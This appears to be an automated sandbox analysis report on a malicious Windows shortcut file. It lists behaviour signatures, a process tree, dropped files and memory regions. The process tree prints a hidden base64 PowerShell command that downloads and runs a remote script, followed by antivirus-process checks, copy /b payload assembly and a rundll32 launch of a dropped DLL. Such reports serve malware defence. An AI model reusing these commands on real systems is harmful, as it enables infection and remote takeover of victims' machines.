Analysis

  • max time kernel
    147s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/04/2024, 06:07

General

  • Target
    TCR2428.lnk
  • Size 120KB
  • Sample240409-gvbgeabg7x
  • SHA256 297ef3b685519d8dd40a3726a382977bf1452ba9ff4dcd9e5d954f795a256aba
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 2 IoCs
  • Registers COM server for autorun 1 TTPs 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates processes with tasklist 1 TTPs 2 IoCs
  • Modifies registry class 10 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 49 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3404
      • C:\Windows\system32\cmd.exe
        cmd /c C:\Users\Admin\AppData\Local\Temp\TCR2428.lnk
        2⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:1944
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBiAG8AeABoAHUAYgBjAGEAcgBnAG8AYwBvAG4AdABhAGkAbgBlAHIAcwAuAGMAbwBtAC8AbgB0AHIAYQBjAGsAaQBuAGcALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4108
          • C:\Users\Admin\AppData\Local\Temp\kieshaoz.ty2\application.exe
            "C:\Users\Admin\AppData\Local\Temp\kieshaoz.ty2\application.exe"
            4⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3868
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c move Emotions Emotions.bat && Emotions.bat
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3720
              • C:\Windows\SysWOW64\tasklist.exe
                tasklist
                6⤵
                • Enumerates processes with tasklist
                • Suspicious use of AdjustPrivilegeToken
                PID:4312
              • C:\Windows\SysWOW64\findstr.exe
                findstr /I "wrsa.exe opssvc.exe"
                6⤵
                  PID:4868
                • C:\Windows\SysWOW64\tasklist.exe
                  tasklist
                  6⤵
                  • Enumerates processes with tasklist
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4444
                • C:\Windows\SysWOW64\findstr.exe
                  findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
                  6⤵
                    PID:4420
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c md 469554
                    6⤵
                      PID:2328
                    • C:\Windows\SysWOW64\findstr.exe
                      findstr /V "MasBathroomsCompoundInjection" Participants
                      6⤵
                        PID:2832
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c copy /b 469554\Pj.pif + Richmond + Alot + Genre + Fighter + Violence 469554\Pj.pif
                        6⤵
                          PID:620
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c copy /b Backgrounds + Edges + Nickname + Scholarship + Literature + Wrestling + Someone + Until + Developments + Wish + Additions + Seeing 469554\M
                          6⤵
                            PID:1364
                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\469554\Pj.pif
                            469554\Pj.pif 469554\M
                            6⤵
                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                            • Executes dropped EXE
                            • Suspicious use of SetThreadContext
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of FindShellTrayWindow
                            • Suspicious use of SendNotifyMessage
                            • Suspicious use of WriteProcessMemory
                            PID:4828
                          • C:\Windows\SysWOW64\PING.EXE
                            ping -n 5 127.0.0.1
                            6⤵
                            • Runs ping.exe
                            PID:3596
                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\469554\Pj.pif
                    C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\469554\Pj.pif
                    2⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • Registers COM server for autorun
                    • Adds Run key to start application
                    • Modifies registry class
                    • Suspicious use of WriteProcessMemory
                    PID:2064
                    • C:\Windows\SysWOW64\cleanmgr.exe
                      "C:\Windows\SysWOW64\cleanmgr.exe" /verylowdisk
                      3⤵
                      • Loads dropped DLL
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of WriteProcessMemory
                      PID:1052
                      • C:\Windows\SysWOW64\rundll32.exe
                        C:\Windows\SysWOW64\rundll32.exe C:\Users\Admin\AppData\Local\Temp\TempCLN.dll,Turnerity
                        4⤵
                        • Blocklisted process makes network request
                        • Loads dropped DLL
                        • Suspicious behavior: EnumeratesProcesses
                        PID:4844

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

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                      Downloads

                      M

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\469554\M
                      • Size 2.8MB
                      • SHA256 9fb4af5fc16e2058f46f878c483dd5c5b6f32d33c4376dc9a4ad08b3d0baf6b4
                      • MD5 SHA1 SHA512 SSDEEP

                      Pj.pif

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\469554\Pj.pif
                      • Size 28B
                      • SHA256 a797eb9f33292fd5cca5c741701b2aab9ac05662f9ae3b482352e326f73da04e
                      • MD5 SHA1 SHA512

                      Pj.pif

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\469554\Pj.pif
                      • Size 921KB
                      • SHA256 05d8cf394190f3a707abfb25fb44d7da9d5f533d7d2063b23c00cc11253c8be7
                      • MD5 SHA1 SHA512 SSDEEP

                      Additions

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Additions
                      • Size 263KB
                      • SHA256 b5bade790b023eacfcc3e16dd8835bf226cce040cb4513d4fe4efdfd451ad32d
                      • MD5 SHA1 SHA512 SSDEEP

                      Alot

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Alot
                      • Size 135KB
                      • SHA256 13e4fb7746a25d4b31f24ee48f3cca0333e19b7c790853963a491dcd4639e38e
                      • MD5 SHA1 SHA512 SSDEEP

                      Backgrounds

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Backgrounds
                      • Size 216KB
                      • SHA256 0f388fb4ece1c4a2224e9a1b39fb107223ff433d962d75ef69864b14a8d771d4
                      • MD5 SHA1 SHA512 SSDEEP

                      Developments

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Developments
                      • Size 235KB
                      • SHA256 3255c4626b7a8fab8f167629b878371664bafd42fe0b47b1317fac3f85d98a59
                      • MD5 SHA1 SHA512 SSDEEP

                      Edges

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Edges
                      • Size 288KB
                      • SHA256 b71cd9280ff4e9d2de19673af01cdc4b6b1d055ffed6989510eeec187c43bf89
                      • MD5 SHA1 SHA512 SSDEEP

                      Emotions

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Emotions
                      • Size 9KB
                      • SHA256 405dad9b63b7af10dea90fe52a85c020c03fa3f11b3e4f1c9e7e722091bf85ec
                      • MD5 SHA1 SHA512 SSDEEP

                      Fighter

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Fighter
                      • Size 186KB
                      • SHA256 7cd9045c62cad536b7e9267cff1a19c54a85af1876b05992f7c5ff83cba30156
                      • MD5 SHA1 SHA512 SSDEEP

                      Genre

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Genre
                      • Size 175KB
                      • SHA256 0f03fb23126e6b8391b68c23a4d90dacbe39148e0dc334d560cb40f1dfa70048
                      • MD5 SHA1 SHA512 SSDEEP

                      Literature

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Literature
                      • Size 224KB
                      • SHA256 ec4ac23a91ff62e5e4b3f6c6fd0c8ac68e0104d9d25560440ddac478dfe1c5f4
                      • MD5 SHA1 SHA512 SSDEEP

                      Nickname

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Nickname
                      • Size 299KB
                      • SHA256 4799d290941875250832c59139b13fd6458138f3960d3f570e33079518b9e61f
                      • MD5 SHA1 SHA512 SSDEEP

                      Participants

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Participants
                      • Size 59B
                      • SHA256 e4754b247074cc987484c9f2a38903ab11b88a9bcff87e4f9f31986fcc4334cb
                      • MD5 SHA1 SHA512

                      Richmond

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Richmond
                      • Size 256KB
                      • SHA256 d60e2db6446a0bbd8ce82f790e195d132734aed33cc2e0f895d9644a2343a960
                      • MD5 SHA1 SHA512 SSDEEP

                      Scholarship

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Scholarship
                      • Size 227KB
                      • SHA256 7ac4de8d80f54239c9c84e8cb5af1727faf14ac2888746b3fd5fbee010febe1c
                      • MD5 SHA1 SHA512 SSDEEP

                      Seeing

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Seeing
                      • Size 188KB
                      • SHA256 65dc35e0d012c6efd668ea5f48cab07af885c45c52da9fa443801be937628fb0
                      • MD5 SHA1 SHA512 SSDEEP

                      Someone

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Someone
                      • Size 203KB
                      • SHA256 772879be949edc0cc6590ca6b64e87a601694107fe05a1c117896f086cd3cf78
                      • MD5 SHA1 SHA512 SSDEEP

                      Until

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Until
                      • Size 251KB
                      • SHA256 c50b10ba3168c38a839a8f784fa2e7d5817cabf3666d21bb622ffaf007c5cedd
                      • MD5 SHA1 SHA512 SSDEEP

                      Violence

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Violence
                      • Size 169KB
                      • SHA256 2a66f6c0cfeee905903644fa251b2ce7a828d9126989c6ea801103edc1c1082a
                      • MD5 SHA1 SHA512 SSDEEP

                      Wish

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Wish
                      • Size 291KB
                      • SHA256 fdb25df6f58ff3ba2097ca0172fea0dcc2ad6fd4b6a76533b04dc4e46793bb21
                      • MD5 SHA1 SHA512 SSDEEP

                      Wrestling

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Wrestling
                      • Size 229KB
                      • SHA256 d7a8f25c8c57a99e89cf1582af50e5e0e4e9ffe89aa97e388367e76580e083fe
                      • MD5 SHA1 SHA512 SSDEEP

                      TempCLN.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\TempCLN.dll
                      • Size 1.5MB
                      • SHA256 25e5a54741a0aeefccc669802c30315ba42cc47a99665b87ab0373655939f052
                      • MD5 SHA1 SHA512 SSDEEP

                      __PSScriptPolicyTest_org50a0m.oue.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_org50a0m.oue.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512

                      application.exe

                      • Path C:\Users\Admin\AppData\Local\Temp\kieshaoz.ty2\application.exe
                      • Size 2.0MB
                      • SHA256 bb932056cae8940742e50b4f2b994a802e703f7bc235e7dd647d085ae2b2baf7
                      • MD5 SHA1 SHA512 SSDEEP

                      memory/1052-91-0x0000000002B80000-0x0000000002BF9000-memory.dmp

                      memory/1052-92-0x0000000002B80000-0x0000000002BF9000-memory.dmp

                      memory/2064-81-0x0000000001400000-0x00000000015AC000-memory.dmp

                      memory/2064-80-0x0000000001400000-0x00000000015AC000-memory.dmp

                      memory/2064-88-0x0000000001400000-0x00000000015AC000-memory.dmp

                      memory/2064-85-0x0000000001400000-0x00000000015AC000-memory.dmp

                      memory/2064-84-0x0000000001400000-0x00000000015AC000-memory.dmp

                      memory/2064-83-0x0000000001400000-0x00000000015AC000-memory.dmp

                      memory/4108-17-0x00000247B92D0000-0x00000247B92E2000-memory.dmp

                      memory/4108-16-0x00000247B92A0000-0x00000247B92AA000-memory.dmp

                      memory/4108-11-0x00000247B8F10000-0x00000247B8F32000-memory.dmp

                      memory/4108-12-0x00007FFEF2270000-0x00007FFEF2D31000-memory.dmp

                      memory/4108-14-0x000002479EA60000-0x000002479EA70000-memory.dmp

                      memory/4108-13-0x000002479EA60000-0x000002479EA70000-memory.dmp

                      memory/4108-21-0x000002479EA60000-0x000002479EA70000-memory.dmp

                      memory/4108-30-0x00007FFEF2270000-0x00007FFEF2D31000-memory.dmp

                      memory/4828-78-0x0000000003AE0000-0x0000000003AE1000-memory.dmp

                      memory/4828-77-0x00000000779C1000-0x0000000077AE1000-memory.dmp

                      memory/4844-94-0x00000000025A0000-0x0000000002619000-memory.dmp

                      memory/4844-95-0x00000000025A0000-0x0000000002619000-memory.dmp